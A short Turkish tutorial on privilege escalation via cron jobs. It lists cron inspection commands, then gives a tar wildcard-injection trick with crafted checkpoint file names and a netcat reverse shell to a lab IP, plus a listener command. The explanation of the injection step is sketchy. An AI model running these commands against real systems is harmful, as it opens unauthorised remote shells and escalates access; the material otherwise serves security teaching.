Cron job'lar, belirli bir zaman diliminde otomatik olarak komutları çalıştırmak için kullanılan sistem özellikleridir. Bu özellik, sistem yöneticileri tarafından genellikle sistem bakımı ve yedekleme gibi işlemler için kullanılır. Ancak, kötü niyetli bir kullanıcı, sistemdeki mevcut cron job'ları kullanarak yetki yükseltme (privilege escalation) gerçekleştirebilir. Bir kullanıcının cron job'larına müdahale ederek, kendisine daha yüksek yetkiler sağlamak amacıyla zararlı komutlar eklenebilir.
Genel Kullanım:
- Cron Job'ları Listeleme: Bir kullanıcının cron job'larını görmek için aşağıdaki komut kullanılır:
crontab -l # Kullanıcıya ait cron job'ları listele
Bu komut, kullanıcının zamanlanmış görevlerini gösterir. Sistem geneline ait cron job'ları incelemek içinse şu komut kullanılabilir:
cat /etc/crontab # Sistem genelindeki cron job'ları göster
- Cron Job'ları Kullanarak Yetki Yükseltme:
Örnek: Sistem üzerinde bir cron job, /usr/local/bin/backup.sh betiğini her 2 dakikada bir çalıştırmak üzere ayarlanmış. Kötü niyetli bir kullanıcı, bu betiğin içeriğini değiştirerek, zararlı bir komut yerleştirebilir.
- Zararlı Komut Yazma (Backdoor Betiği): Zararlı bir betik oluşturulabilir. Örneğin, netcat (nc) kullanarak uzaktaki bir sisteme bağlantı yapılabilir.
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh script.sh'
echo "nc 192.168.238.129 1081 -e /bin/bash" > script.sh
chmod +x script.sh # Betiği çalıştırılabilir hale getir
- Başka bir terminalde dinleme başlat. 2 dakika sonra www-data yönlenmiş olacak.
nc -nvlp 1081 # Port 1081'de dinleme başlat
Yetki Yükseltme Sağlama: Cron job, zararlı betiği her iki dakikada bir çalıştırarak dış IP'ye bağlanır ve sistemde yetki yükseltme sağlanabilir.